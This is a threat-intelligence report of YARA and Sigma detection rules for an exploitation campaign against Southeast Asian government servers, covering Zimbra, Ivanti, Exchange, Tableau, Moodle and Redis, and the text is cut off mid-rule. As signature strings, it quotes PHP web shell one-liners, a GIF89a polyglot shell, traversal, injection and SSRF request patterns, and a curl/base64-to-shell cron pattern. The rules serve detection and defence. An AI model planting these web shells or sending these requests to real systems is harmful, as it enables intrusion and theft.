Detection Rules: SE-Asia Government Exploitation Toolkit (144.172.106.236)

Campaign: SEAsia-Gov-Exploitation-Toolkit-144.172.106.236 Date: 2026-07-17 Author: The Hunters Ledger License: CC BY 4.0 Reference: https://the-hunters-ledger.com/reports/seasia-gov-exploitation-toolkit-144-172-106-236/

Detection Coverage Summary

Detection vs Hunting: Detection rules are high-fidelity and evasion-resilient, safe to alert on. Hunting rules are broader, for scoping and threat-hunting, expect to review the hits.

Atomics routed to the IOC feed, not authored as rules (see threat-intel-vault/ioc-feeds/seasia-gov-exploitation-toolkit-144-172-106-236-iocs.json): the three operator SSH host-key fingerprints and the id_rsa_nast authorized-key fingerprint (correlation-only, single-host artifacts); the second-actor’s embedded 87.106.101.131 IP; and the five shared public relay/notification domains (api.telegram.org, discord.com, webhook.site, raw.githubusercontent.com, github.com) that have vast legitimate use and would produce pure noise as standalone signatures.

This campaign is a two-actor case. The reported operator ran a four-country, hands-on-keyboard exploitation campaign from 144.172.106.236. A second, probably-separate intruder’s GSocket/THC backdoor kit was found co-located on one shared victim (svr1.nast.ph, Philippines). Every rule below is labeled by which actor it belongs to: the second actor’s indicators are never folded into the operator’s TTP set. See Multi-Family Organization below.

Calibration note: across the operator’s six-service C2 estate, exactly one victim callback occurred in 14 days of logs; both chisel listeners logged zero clients; the SSRF canary caught zero campaign callbacks. Defenders should weight remediation effort toward credential resets and the Zimbra web shell drop paths rather than expecting live C2 traffic to trip these rules. Full detail in Coverage Gaps.

Multi-Family Organization

Rules below are organized type → tier → actor, matching the site’s type/tier table of contents. Within each Detection/Hunting subsection, rules are grouped under a bold actor label:

• Operator Toolkit: the reported hands-on-keyboard operator running exploitation, tunneling, and web-shell tradecraft against government targets in Indonesia, Thailand, the Philippines, and Malaysia from 144.172.106.236.
• GSocket Second-Actor Kit (Separate Intruder): a MODERATE-likely separate second intruder whose GSocket/THC backdoor kit (localroot.sbs / cat.sh loader, four /home/nast/* daemon-masquerade implants, five cron entries) was found co-located on svr1.nast.ph. This kit predates the operator’s tenancy on that host by roughly nine months, does not appear anywhere in the operator’s 100-plus-script toolkit, and follows a materially different playbook (Cloudflare-fronted domain + GSocket relay vs. the operator’s bare-IP infrastructure and commodity chisel). Do not attribute these indicators to the reported operator, and do not fold them into the operator’s TTP set: they are documented here only because they were found on a shared victim and are independently actionable.

Never-block domains: a third category of indicator (gsocket.io, cdn.gsocket.io, the {g,p,z,master}.gs.thc.org relay hosts, api.telegram.org, discord.com, webhook.site, raw.githubusercontent.com, and github.com) is shared public infrastructure with vast legitimate use. Only the GSocket/THC-specific relay hosts are given Hunting-tier Suricata coverage below (explicitly marked never-block); the remaining commodity notification/hosting domains are documented as hunt context only in Coverage Gaps, with no rule authored, because a signature on Telegram/Discord/GitHub/webhook.site traffic has no pivot value and would fire on essentially all networks.

YARA Rules

All six YARA rules below cleared a yarac compile gate (0 errors) before being written here. No Hunting-tier YARA rules were authored for this campaign: every candidate either cleared Detection (Robustness ≥ 2) or was cut in favor of the IOC feed (see Coverage Gaps).

Detection Rules

Operator Toolkit

Zimbra Web Shell Decoy Banner (webshell_zimbra_security_monitor_jsp)

Tier: Detection Robustness: 3 ATT&CK Coverage: T1505.003 (Web Shell), T1190 (Exploit Public-Facing Application, delivery vector) Confidence: HIGH False Positives: None known: the decoy banner string is operator-authored and has zero legitimate use. The secondary combination (JSP page directive + Runtime.getRuntime().exec() has a small residual FP risk against legitimate JSP administrative tools that shell out to the OS, but this is uncommon in production code. Blind Spots: Only fires if the banner string or the exec-call/page-directive combination is present in the scanned file; an operator variant that drops the decoy banner and avoids a literal Runtime.getRuntime().exec( call (e.g., using ProcessBuilder instead) would not match. Validation: Detonate the recovered exploit.cpio member or a reconstructed shell.jsp containing the banner string against the rule; a stock, unmodified Zimbra Jetty webapp tree must NOT fire. Deployment: File-system/webshell scanner on Zimbra hosts, EDR file-creation content scan, incident-response triage of /opt/zimbra/**/webapps/zimbra/.

/*
   Yara Rule Set
   Identifier: SE-Asia Gov Exploitation Toolkit - Zimbra Webshell Decoy
   Author: The Hunters Ledger
   Source: https://the-hunters-ledger.com/
   License: CC BY 4.0 - https://creativecommons.org/licenses/by/4.0/
*/

rule webshell_zimbra_security_monitor_jsp {
   meta:
      description = "Detects the operator-authored JSP web shell decoy banner 'Zimbra Security Monitor v3.1 -- System Diagnostics' embedded in a Zimbra CVE-2022-41352 cpio-traversal payload, alone or combined with a Runtime.getRuntime().exec( command-execution call typical of a JSP web shell"
      license = "CC BY 4.0 - https://creativecommons.org/licenses/by/4.0/"
      author = "The Hunters Ledger"
      reference = "https://the-hunters-ledger.com/hunting-detections/seasia-gov-exploitation-toolkit-144-172-106-236-detections/"
      date = "2026-07-17"
      family = "SE-Asia Gov Exploitation Toolkit (unattributed operator)"
      malware_type = "Web Shell"
      campaign = "seasia-gov-exploitation-toolkit-144-172-106-236"
      id = "322ec1aa-636f-502a-a7db-74f0d4f1f92c"
   strings:
      $decoy_banner = "Zimbra Security Monitor v3.1 -- System Diagnostics" ascii wide
      $exec_call = "Runtime.getRuntime().exec(" ascii
      $jsp_tag = "<%@ page" ascii
   condition:
      filesize < 200KB and
      (
         $decoy_banner or
         (all of ($exec_call, $jsp_tag))
      )
}

Note: this decoy banner also appears in the operator’s phishing lure and its spoofed sender security-monitor@tni.mil.id (see the report for the full delivery chain).

GIF89a-Polyglot PHP Web Shell (webshell_gif89a_php_polyglot)

Tier: Detection Robustness: 2 ATT&CK Coverage: T1505.003 (Web Shell), T1190 (Exploit Public-Facing Application, image-upload-filter bypass) Confidence: HIGH False Positives: None known for the literal-string match. The structural fallback condition (GIF89a at offset 0 with a <?php tag in the first 64 bytes) has a theoretical FP against a legitimate GIF file that happens to embed literal PHP-looking bytes in its metadata, which is exceptionally rare given real GIF headers are binary, not text. Blind Spots: Only catches the two literal payload variants recovered from this operator’s toolkit and the generic GIF89a+<?php structural combination; a payload using a different image-format prefix (PNG, JPEG magic bytes) or a different PHP execution function would not match. Validation: Scan the recovered shell.php/gif_php samples (39 B / 33 B) against the rule; scan a real, unmodified .gif image to confirm it does NOT fire. Deployment: Web-server upload-directory scanner, EDR file-creation content scan, web application firewall file-inspection module.

/*
   Yara Rule Set
   Identifier: SE-Asia Gov Exploitation Toolkit - GIF89a PHP Polyglot Web Shells
   Author: The Hunters Ledger
   Source: https://the-hunters-ledger.com/
   License: CC BY 4.0 - https://creativecommons.org/licenses/by/4.0/
*/

rule webshell_gif89a_php_polyglot {
   meta:
      description = "Detects minimal GIF89a magic-byte polyglot PHP web shells that prefix a raw PHP command-execution one-liner with the GIF file-signature bytes to defeat naive image-upload content-sniffing filters, as staged by the operator against multiple government targets"
      license = "CC BY 4.0 - https://creativecommons.org/licenses/by/4.0/"
      author = "The Hunters Ledger"
      reference = "https://the-hunters-ledger.com/hunting-detections/seasia-gov-exploitation-toolkit-144-172-106-236-detections/"
      date = "2026-07-17"
      family = "SE-Asia Gov Exploitation Toolkit (unattributed operator)"
      malware_type = "Web Shell"
      campaign = "seasia-gov-exploitation-toolkit-144-172-106-236"
      id = "1dc828f3-d6ab-53ac-99a9-bd8f05078898"
   strings:
      $gif_system = "GIF89a<?php system($_GET[c]); ?>" ascii
      $gif_assert = "GIF89a<?php assert($_REQUEST[\"c\"]); ?>" ascii
      $gif_magic = "GIF89a" ascii
      $php_open = "<?php" ascii
   condition:
      filesize < 4KB and
      (
         any of ($gif_system, $gif_assert) or
         ($gif_magic at 0 and $php_open in (4..64))
      )
}

Note: a plain (non-polyglot) webshell one-liner also recovered in the same batch (s.php: system($_REQUEST["x"])) was assessed and cut (see Coverage Gaps).

Custom Go Tunnel-Proxy Module (gen_go_tunnel_proxy_mux_elf)

Tier: Detection Robustness: 2 ATT&CK Coverage: T1572 (Protocol Tunneling), T1090.003 (Multi-hop Proxy) Confidence: HIGH False Positives: None known: tunnel-proxy/pkg/mux is a bespoke internal Go module path, not a published third-party package; no other project’s binary embeds this string. Blind Spots: Requires the operator to recompile with a Go toolchain that strips or fails to embed the module path (e.g., aggressive build-flag stripping), an unlikely but possible evasion. A rebuild under a renamed module path would also evade this rule; the underlying protocol behavior (no-auth SOCKS5 + tunnel control) is not independently signatured here. Validation: Scan the recovered tunnel-server (SHA256 23560e13d06d8153e0e7566d153ffe9eec79e08eb1ed18f8cd1417728e7dbdd6) and tunnel-agent (SHA256 c600f8e4ee5ece27ce777fe4f69c18c6611768ee7192c74e4e66f9e236e19b1e) binaries; scan an unrelated Go ELF binary (e.g., a stock chisel build) to confirm it does NOT fire. Deployment: File-system/endpoint scanner on Linux hosts, ingress tool-transfer detection at the point a new ELF binary lands.

/*
   Yara Rule Set
   Identifier: SE-Asia Gov Exploitation Toolkit - Custom Go Tunnel-Proxy Module
   Author: The Hunters Ledger
   Source: https://the-hunters-ledger.com/
   License: CC BY 4.0 - https://creativecommons.org/licenses/by/4.0/
*/

rule gen_go_tunnel_proxy_mux_elf {
   meta:
      description = "Detects the operator's custom Go-built reverse-tunnel and SOCKS5 multiplexing toolset (tunnel-server / tunnel-agent) via its distinctive internal module import path tunnel-proxy/pkg/mux, embedded in the Go build metadata of both paired ELF64 binaries"
      license = "CC BY 4.0 - https://creativecommons.org/licenses/by/4.0/"
      author = "The Hunters Ledger"
      reference = "https://the-hunters-ledger.com/hunting-detections/seasia-gov-exploitation-toolkit-144-172-106-236-detections/"
      date = "2026-07-17"
      hash1 = "23560e13d06d8153e0e7566d153ffe9eec79e08eb1ed18f8cd1417728e7dbdd6"
      hash2 = "c640fed8c76802f2bea562ff08a0643d8f033771"
      hash3 = "d96d4e7bc25704e48576ee7667d424aa"
      family = "SE-Asia Gov Exploitation Toolkit (unattributed operator)"
      malware_type = "Custom tunnel / SOCKS5 proxy"
      campaign = "seasia-gov-exploitation-toolkit-144-172-106-236"
      id = "781f4056-50fe-533c-8e0b-c8d18cc89a5d"
   strings:
      $module_path = "tunnel-proxy/pkg/mux" ascii
      $go_buildinf = "Go build ID:" ascii
   condition:
      uint32(0) == 0x464c457f and
      filesize < 20MB and
      $module_path and $go_buildinf
}

Note: hashes above are for tunnel-server; tunnel-agent (SHA256 c600f8e4ee5ece27ce777fe4f69c18c6611768ee7192c74e4e66f9e236e19b1e, MD5 157ff784cd1736f401e54cd2aa3cde38, SHA1 886504ea793ae05bb8206f383a3140e8d7bddd45) matches the same rule via the shared module string. Both binaries also trip the PoetRat_Python/android_meterpreter YARA rules: this is a known false positive (generic crypto/base64 pattern match) and must NOT be cited as family evidence.

Chisel Operator Host-Key Fingerprints (susp_chisel_operator_key_fingerprint)

Tier: Detection Robustness: 2 ATT&CK Coverage: T1572 (Protocol Tunneling), T1090.003 (Multi-hop Proxy) Confidence: HIGH False Positives: None known: each fingerprint is a 44-character base64-encoded SHA256 digest with no plausible collision against unrelated infrastructure. Blind Spots: Only fires on captured log files, console output, or memory that literally contains one of the two fingerprint strings; does not detect the chisel binary itself (the file hash is a commodity build shared by 179 VT submitters and is deliberately excluded, see Coverage Gaps). A future deployment using a freshly generated (or unseeded) host key produces a new fingerprint that this rule will not catch until observed. Validation: Scan a captured chisel.log/chisel-reverse.log file or a process memory dump containing either fingerprint string; scan an unrelated chisel deployment’s log (different --key seed) to confirm it does NOT fire. Deployment: Log-file content scanner, memory forensics of a host running a chisel server process, threat-intel correlation against future incidents.

/*
   Yara Rule Set
   Identifier: SE-Asia Gov Exploitation Toolkit - Chisel Operator Host-Key Fingerprints
   Author: The Hunters Ledger
   Source: https://the-hunters-ledger.com/
   License: CC BY 4.0 - https://creativecommons.org/licenses/by/4.0/
*/

rule susp_chisel_operator_key_fingerprint {
   meta:
      description = "Detects the operator's two persistent Chisel server host-key fingerprints (yW2X8fCVTmfMSpVyrhZQGkSTCfBJBMSyQtgPzCMCfuw= on :8443 and rEVojNCdmii9193KJQL0CQdIcudwm3RW32BKJlUgLT4= on :4443) recorded in captured process logs, startup console output, or memory. Because Chisel derives its host key deterministically from an operator-supplied --key seed, a stable fingerprint recurring across restarts or hosts is a durable operator-specific artifact, unlike the shared commodity chisel.exe file hash"
      license = "CC BY 4.0 - https://creativecommons.org/licenses/by/4.0/"
      author = "The Hunters Ledger"
      reference = "https://the-hunters-ledger.com/hunting-detections/seasia-gov-exploitation-toolkit-144-172-106-236-detections/"
      date = "2026-07-17"
      family = "SE-Asia Gov Exploitation Toolkit (unattributed operator)"
      malware_type = "Reverse tunnel infrastructure artifact"
      campaign = "seasia-gov-exploitation-toolkit-144-172-106-236"
      id = "722a2b0e-97ae-5b72-999a-68434258b5fe"
   strings:
      $fp_8443 = "yW2X8fCVTmfMSpVyrhZQGkSTCfBJBMSyQtgPzCMCfuw=" ascii wide
      $fp_4443 = "rEVojNCdmii9193KJQL0CQdIcudwm3RW32BKJlUgLT4=" ascii wide
   condition:
      filesize < 50MB and
      any of them
}

Operator SSH Backdoor Public Key (susp_operator_ssh_pubkey_root_ubuntu_utah_1gb)

Tier: Detection Robustness: 2 ATT&CK Coverage: T1098.004 (SSH Authorized Keys), T1133 (External Remote Services, via Redis unauth access) Confidence: HIGH False Positives: None known: the key comment root@ubuntu-Utah-1gb combined with an ssh-rsa key-type prefix has no identified legitimate use. Blind Spots: Only fires on hosts where this specific key was actually injected; the Redis-unauth injection vector is inferred from the artifact filename and no successful deployment is confirmed in the evidence reviewed. A future intrusion using a freshly generated key (different comment) will not match. Validation: Scan an authorized_keys file containing this key and comment; scan a clean authorized_keys file with unrelated keys to confirm it does NOT fire. Hunt on every host, not only Redis-exposed ones. This key evidences operator backdoor access wherever it appears. Deployment: Host-based authorized_keys scanner (osquery, Velociraptor, EDR file-content rule), incident-response triage of SSH access.

/*
   Yara Rule Set
   Identifier: SE-Asia Gov Exploitation Toolkit - Operator SSH Backdoor Public Key
   Author: The Hunters Ledger
   Source: https://the-hunters-ledger.com/
   License: CC BY 4.0 - https://creativecommons.org/licenses/by/4.0/
*/

rule susp_operator_ssh_pubkey_root_ubuntu_utah_1gb {
   meta:
      description = "Detects the operator's injection SSH public key comment 'root@ubuntu-Utah-1gb' inside an authorized_keys file or SSH configuration backup. This key (SHA256:b2sH9INFA/+b9jwMiiTmJoNFaC6SuKI3zc+SDgsBGCE, RSA-3072) was staged for injection via unauthenticated Redis CONFIG SET/SAVE abuse; its presence in any host's authorized_keys, regardless of whether that host runs Redis, indicates operator backdoor SSH access"
      license = "CC BY 4.0 - https://creativecommons.org/licenses/by/4.0/"
      author = "The Hunters Ledger"
      reference = "https://the-hunters-ledger.com/hunting-detections/seasia-gov-exploitation-toolkit-144-172-106-236-detections/"
      date = "2026-07-17"
      family = "SE-Asia Gov Exploitation Toolkit (unattributed operator)"
      malware_type = "SSH backdoor key artifact"
      campaign = "seasia-gov-exploitation-toolkit-144-172-106-236"
      id = "2906e526-db39-5db0-ac5a-635e722d6068"
   strings:
      $key_comment = "root@ubuntu-Utah-1gb" ascii
      $key_type = "ssh-rsa " ascii
   condition:
      filesize < 1MB and
      all of them
}

Note: the operator’s windows-Utah-*/ubuntu-Utah-* certificate-CN naming convention (a widely-propagated VM image template, not a hosting-provider tag) was assessed and is a dead attribution signal (see Coverage Gaps). This rule targets the specific key comment string, which is a distinct artifact from that CN pattern.

GSocket Second-Actor Kit (Separate Intruder)

Actor separation reminder: the rule below belongs to a MODERATE-likely SEPARATE second intruder found co-located on svr1.nast.ph. It is not the reported operator’s tradecraft. See Multi-Family Organization above.

GSocket/THC Backdoor Installer Script: cat.sh (mal_gsocket_catsh_installer_script)

Tier: Detection Robustness: 2 ATT&CK Coverage: T1102 (Web Service C2), T1053.003 (Cron, installer path), T1036.004 (Masquerade Task or Service, downstream implants) Confidence: HIGH False Positives: None known for the 3-of-5 domain-combination condition: no benign script was identified during triage that simultaneously embeds GSocket relay domains and two or more of the Telegram/Discord/webhook.site notification channels. Each individual domain is common; the combination is not. Blind Spots: A rewritten installer that obfuscates or base64-encodes its domain literals (rather than storing them as plaintext) would evade this rule; only the literal string layer is covered: VM/sandbox-evasion behavior (detect-debug-environment per vendor tagging) is not independently signatured here. Validation: Scan the recovered cat.sh (SHA256 8a7d387663d7f32730ed8b996f1dab7c2eed4b829b71fd48c608f51569dc4d69); scan an unrelated shell script referencing only one of the five domains (e.g., a legitimate CI script that posts to a Discord webhook) to confirm it does NOT fire. Deployment: File-system scanner on Linux hosts, ingress tool-transfer detection, incident-response triage of cron-dropped scripts.

/*
   Yara Rule Set
   Identifier: SE-Asia Gov Exploitation Toolkit - GSocket cat.sh Second-Actor Loader (svr1.nast.ph)
   Author: The Hunters Ledger
   Source: https://the-hunters-ledger.com/
   License: CC BY 4.0 - https://creativecommons.org/licenses/by/4.0/
*/

rule mal_gsocket_catsh_installer_script {
   meta:
      description = "Detects the cat.sh GSocket/THC backdoor installer shell script via the distinctive combination of relay and notification-channel domains it embeds. Each individual domain is shared public infrastructure with legitimate uses, but their simultaneous co-occurrence inside one small shell script is not seen in benign scripts. This kit was found on a Philippine government host and is assessed as a SEPARATE second intruder, not the reported operator"
      license = "CC BY 4.0 - https://creativecommons.org/licenses/by/4.0/"
      author = "The Hunters Ledger"
      reference = "https://the-hunters-ledger.com/hunting-detections/seasia-gov-exploitation-toolkit-144-172-106-236-detections/"
      date = "2026-07-17"
      hash1 = "8a7d387663d7f32730ed8b996f1dab7c2eed4b829b71fd48c608f51569dc4d69"
      hash2 = "71760ce87e12cb881c2316034be0d016617f7628"
      hash3 = "0d72d798449356ed66410f7e84c4a37a"
      family = "GSocket/THC backdoor kit (second actor, NOT the reported operator)"
      malware_type = "Linux backdoor installer script"
      campaign = "seasia-gov-exploitation-toolkit-144-172-106-236"
      id = "881ffab1-19f1-536f-8127-57840ad47217"
   strings:
      $rel1 = "gsocket.io" ascii
      $rel2 = "gs.thc.org" ascii
      $chan1 = "api.telegram.org" ascii
      $chan2 = "discord.com" ascii
      $chan3 = "webhook.site" ascii
      $shebang = "#!/bin/" ascii
   condition:
      filesize < 200KB and
      $shebang at 0 and
      3 of ($rel1, $rel2, $chan1, $chan2, $chan3)
}

Sigma Rules

All 14 Sigma rules below were validated against sigma check --fail-on-error --fail-on-issues (SigmaHQ’s semantic validator) and yamllint, both run against the local SigmaHQ fork clone, with 0 errors and 0 issues.

Detection Rules

Operator Toolkit

Ivanti Connect Secure Auth-Bypass Path Traversal to System Information

Tier: Detection Robustness: 3 ATT&CK Coverage: T1190 (Exploit Public-Facing Application) Confidence: HIGH False Positives: Unlikely outside authorized vulnerability-scanning or red-team activity against unpatched Ivanti Connect Secure appliances. Blind Spots: Only matches the exact traversal string and command-substitution idiom observed; a differently-encoded traversal sequence (URL-encoded slashes, alternate depth) would not match. Validation: Replay the operator’s captured request URIs against a web-server log ingestion pipeline; replay a normal, unrelated Ivanti admin-portal request to confirm it does NOT fire. Deployment: Web proxy / WAF log ingestion, perimeter IDS log correlation.

title: Ivanti Connect Secure Auth-Bypass Path Traversal to System Information
id: 783a5aa7-0a1a-4281-b011-bb6623d16250
status: experimental
description: >-
    Detects HTTP requests exploiting CVE-2023-46805 (auth-bypass) chained with
    CVE-2024-21887 (command injection) against Ivanti Connect Secure appliances,
    matching the operator's observed path-traversal request to the system-information
    endpoint and shell command substitution in the cac status endpoint.
references:
    - https://the-hunters-ledger.com/hunting-detections/seasia-gov-exploitation-toolkit-144-172-106-236-detections/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-46805
author: The Hunters Ledger
date: 2026-07-17
tags:
    - attack.initial-access
    - attack.t1190
logsource:
    category: webserver
detection:
    selection_traversal:
        cs-uri-stem|contains: '/api/v1/totp/user-backup-code/../../system/system-information'
    selection_injection:
        cs-uri-query|contains: '/cac/status?id=$('
    condition: 1 of selection_*
falsepositives:
    - Unlikely outside authorized vulnerability-scanning or red-team activity against unpatched Ivanti Connect Secure appliances
level: high

Exchange ProxyLogon SSRF Cookie Header on Autodiscover

Tier: Detection Robustness: 3 ATT&CK Coverage: T1190 (Exploit Public-Facing Application) Confidence: HIGH False Positives: Unlikely: this cookie name has no legitimate Exchange client use. Every operator attempt against RTAF/RTARF was rejected (411/400/404/401). The technique fires the exploit chain but achieved zero confirmed compromises in this campaign. Blind Spots: Requires the log source to capture full cookie-header content (not all proxy/IIS configurations log this by default); a differently-named SSRF cookie variant would not match. Validation: Replay the operator’s captured exploit_loop.sh/exploit_loop_v2.sh request pattern against a proxy-log pipeline; replay a normal Outlook Web Access autodiscover request to confirm it does NOT fire. Deployment: Web proxy log ingestion, Exchange/IIS reverse-proxy log correlation.

title: Exchange ProxyLogon SSRF Cookie Header on Autodiscover
id: 1919a8ce-f6c2-4c53-a056-5b402cb46660
status: experimental
description: >-
    Detects the CVE-2021-26855 ProxyLogon server-side request forgery idiom against
    Microsoft Exchange autodiscover endpoints: an X-AnonResource-Backend cookie value
    combined with a request to an autodiscover path. This is the unmistakable ProxyLogon
    SSRF technique regardless of whether the specific backend endpoint value is known in advance.
references:
    - https://the-hunters-ledger.com/hunting-detections/seasia-gov-exploitation-toolkit-144-172-106-236-detections/
    - https://proxylogon.com/
author: The Hunters Ledger
date: 2026-07-17
tags:
    - attack.initial-access
    - attack.t1190
logsource:
    category: proxy
detection:
    selection_uri:
        c-uri|contains: '/autodiscover/autodiscover.'
    selection_cookie:
        cs-cookie|contains: 'X-AnonResource-Backend='
    condition: selection_uri and selection_cookie
falsepositives:
    - Unlikely, this cookie name has no legitimate Exchange client use
level: high

Tableau Server Vizportal SSRF via getViewThumbnail or fetchBinary

Tier: Detection Robustness: 2 ATT&CK Coverage: T1190 (Exploit Public-Facing Application), T1552.005 (Cloud Instance Metadata API) Confidence: HIGH False Positives: Unlikely: legitimate Tableau thumbnail and binary-fetch requests do not target metadata or loopback addresses. Blind Spots: Requires the SSRF target to be one of the three literal strings matched (169.254.169.254, 127.0.0.1); an attacker pivoting to a different internal target (e.g., an internal hostname) would not match this selector. Validation: Replay the operator’s captured vizportal SSRF request against a webserver-log pipeline; replay a normal Tableau thumbnail-generation request (legitimate url= pointing at a public resource) to confirm it does NOT fire. Deployment: Web-server access-log ingestion on Tableau Server hosts, WAF log correlation.

title: Tableau Server Vizportal SSRF via getViewThumbnail or fetchBinary
id: b328ba03-fe1f-468f-a4bf-e6d1342b8bb9
status: experimental
description: >-
    Detects server-side request forgery against Tableau Server's vizportal API using the
    getViewThumbnail or fetchBinary actions with a url parameter pointed at cloud instance
    metadata or loopback addresses, consistent with CVE-2024-28149 and CVE-2024-51758
    exploitation observed against Tableau instances in this campaign.
references:
    - https://the-hunters-ledger.com/hunting-detections/seasia-gov-exploitation-toolkit-144-172-106-236-detections/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-28149
author: The Hunters Ledger
date: 2026-07-17
tags:
    - attack.initial-access
    - attack.t1190
    - attack.credential-access
    - attack.t1552.005
logsource:
    category: webserver
detection:
    selection_path:
        cs-uri-stem|contains: '/vizportal/api/web/'
    selection_action:
        cs-uri-query|contains:
            - 'getViewThumbnail'
            - 'fetchBinary'
    selection_ssrf_target:
        cs-uri-query|contains:
            - 'url=169.254.169.254'
            - 'url=http://169.254.169.254'
            - 'url=127.0.0.1'
    condition: selection_path and selection_action and selection_ssrf_target
falsepositives:
    - Unlikely, legitimate Tableau thumbnail and binary-fetch requests do not target metadata or loopback addresses
level: high

Moodle Managefiles Plugin Local File Inclusion Attempt

Tier: Detection Robustness: 2 ATT&CK Coverage: T1190 (Exploit Public-Facing Application) Confidence: MODERATE False Positives: Unlikely: legitimate Atto editor file-manager requests do not include traversal sequences in the filearea parameter. Confidence is capped at MODERATE because no successful exploitation was evidenced in this campaign (only an anonymous session cookie was captured against RTAF e-learning and edu platforms). Blind Spots: Only matches the specific plugin path and two traversal-parameter forms observed in the operator’s code; a differently-encoded traversal sequence would not match. Validation: Replay the operator’s captured Moodle LFI request against a webserver-log pipeline; replay a normal Atto editor file-manager request (no traversal) to confirm it does NOT fire. Deployment: Web-server access-log ingestion on Moodle hosts.

title: Moodle Managefiles Plugin Local File Inclusion Attempt
id: 729bf3fc-2d7b-42c3-b1a6-0778082fbeb3
status: experimental
description: >-
    Detects local file inclusion attempts against the Moodle Atto editor managefiles
    plugin (load.php) using a path-traversal filearea parameter, consistent with the
    operator's Moodle probing referencing CVE-2020-25630.
references:
    - https://the-hunters-ledger.com/hunting-detections/seasia-gov-exploitation-toolkit-144-172-106-236-detections/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25630
author: The Hunters Ledger
date: 2026-07-17
tags:
    - attack.initial-access
    - attack.t1190
logsource:
    category: webserver
detection:
    selection_path:
        cs-uri-stem|contains: '/lib/editor/atto/plugins/managefiles/load.php'
    selection_traversal:
        cs-uri-query|contains:
            - '../../../config'
            - 'filearea=..'
    condition: selection_path and selection_traversal
falsepositives:
    - Unlikely, legitimate Atto editor file-manager requests do not include traversal sequences in the filearea parameter
level: high

Redis Server Process Writing to SSH Authorized Keys File

Tier: Detection Robustness: 3 ATT&CK Coverage: T1098.004 (SSH Authorized Keys), T1133 (External Remote Services) Confidence: HIGH False Positives: Unlikely: no legitimate Redis deployment configuration writes to this file. Blind Spots: Requires file-event telemetry that captures the writing process’s image path; an attacker who first uses Redis to write a cron job or a different file (rather than authorized_keys directly) would not match this specific rule. Validation: Reproduce the Redis CONFIG SET dir .../.ssh + SAVE technique in a lab and confirm the rule fires; confirm a normal Redis SAVE to its configured data directory does NOT fire. Deployment: Linux file-integrity monitoring / EDR file-event telemetry (Sysmon-for-Linux, auditd-backed EDR).

title: Redis Server Process Writing to SSH Authorized Keys File
id: 5a6dff70-3536-49cb-b14a-f39da78d417c
status: experimental
description: >-
    Detects the redis-server process writing to a user's SSH authorized_keys file, the
    signature outcome of the unauthenticated Redis CONFIG SET dir / SAVE technique used to
    plant an attacker SSH public key for persistent access. A legitimate Redis server never
    writes to this path.
references:
    - https://the-hunters-ledger.com/hunting-detections/seasia-gov-exploitation-toolkit-144-172-106-236-detections/
    - https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis
author: The Hunters Ledger
date: 2026-07-17
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.t1098.004
logsource:
    category: file_event
    product: linux
detection:
    selection:
        Image|endswith: '/redis-server'
        TargetFilename|endswith: '/.ssh/authorized_keys'
    condition: selection
falsepositives:
    - Unlikely, no legitimate Redis deployment configuration writes to this file
level: critical

Zimbra JSP Web Shell Dropped via Amavis Cpio Path Traversal

Tier: Detection Robustness: 3 ATT&CK Coverage: T1505.003 (Web Shell), T1190 (Exploit Public-Facing Application, delivery vector) Confidence: HIGH False Positives: Unlikely: legitimate Zimbra updates do not create a file named shell.jsp under the webapp tree. Note: delivery against mailweb.lemhannas.go.id was attempted; success is unconfirmed in the evidence reviewed, so a hit on this rule should be treated as a live compromise indicator, not retroactively assumed. Blind Spots: Only matches the seven specific drop paths observed in the operator’s exploit.cpio weapon; a differently-named JSP file or a different Zimbra install-path convention would not match. Pair with the YARA content rule above for a file-content backstop. Validation: Reproduce the CVE-2022-41352 cpio-traversal extraction in a lab and confirm the file-creation event fires the rule; confirm a normal Zimbra patch/update operation does NOT fire. Deployment: Linux file-integrity monitoring / EDR file-event telemetry on Zimbra hosts.

title: Zimbra JSP Web Shell Dropped via Amavis Cpio Path Traversal
id: 7c6b1677-f5c8-423d-97f1-2da351b3561d
status: experimental
description: >-
    Detects creation of a JSP file at one of the seven known Zimbra webapp drop paths used
    by the CVE-2022-41352 Amavis cpio/tar extraction path-traversal technique to plant a
    web shell inside the Zimbra collaboration suite. A legitimate Zimbra installation never
    creates a shell.jsp file under any of these paths.
references:
    - https://the-hunters-ledger.com/hunting-detections/seasia-gov-exploitation-toolkit-144-172-106-236-detections/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-41352
author: The Hunters Ledger
date: 2026-07-17
tags:
    - attack.persistence
    - attack.t1505.003
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename|endswith:
            - '/zimbra/jetty/webapps/zimbra/public/shell.jsp'
            - '/zimbra/jetty/webapps/zimbra/shell.jsp'
            - '/zimbra/jetty_base/webapps/zimbra/public/shell.jsp'
            - '/zimbra/jetty_base/webapps/zimbra/shell.jsp'
            - '/zimbra/mailboxd/webapps/zimbra/public/shell.jsp'
            - '/zimbra/mailboxd/webapps/zimbra/shell.jsp'
            - '/zimbra/jetty-distribution-9.4.46.v20220331/webapps/zimbra/public/shell.jsp'
    condition: selection
falsepositives:
    - Unlikely, legitimate Zimbra updates do not create a file named shell.jsp under the webapp tree
level: critical

GSocket Second-Actor Kit (Separate Intruder)

Actor separation reminder: the two rules below belong to a MODERATE-likely SEPARATE second intruder found co-located on svr1.nast.ph. Not the reported operator’s tradecraft.

Cron-Triggered Base64-Indirected Shell Execution With Output Suppression

Tier: Detection Robustness: 2 ATT&CK Coverage: T1053.003 (Cron) Confidence: HIGH False Positives: Legitimate cron-triggered installer or update scripts that pipe a remote download to a shell. This pattern is not unique to malicious use, but the combination with dual-stream suppression from a cron parent narrows it considerably. Blind Spots: Requires ParentImage telemetry that identifies the cron daemon; environments where cron spawns through an intermediate wrapper that obscures the parent chain would not match. An attacker who avoids stream suppression (leaves 2>&1 visible) or does not use base64/curl indirection would not match. Validation: Reproduce the five verbatim cron entries recovered from svr1.nast.ph’s Webmin scheduled-tasks page in a lab and confirm the rule fires; confirm a normal cron-triggered system-update script (e.g., unattended-upgrades) does NOT fire. Deployment: Linux process-creation telemetry (auditd-backed EDR, Sysmon-for-Linux).

title: Cron-Triggered Base64-Indirected Shell Execution With Output Suppression
id: 1eedca83-5b2a-4f6b-be2a-7234132958f9
status: experimental
description: >-
    Detects a cron-spawned process whose command line decodes a base64 blob and pipes it
    directly to a shell, or pipes a curl download directly to a shell, with both stdout
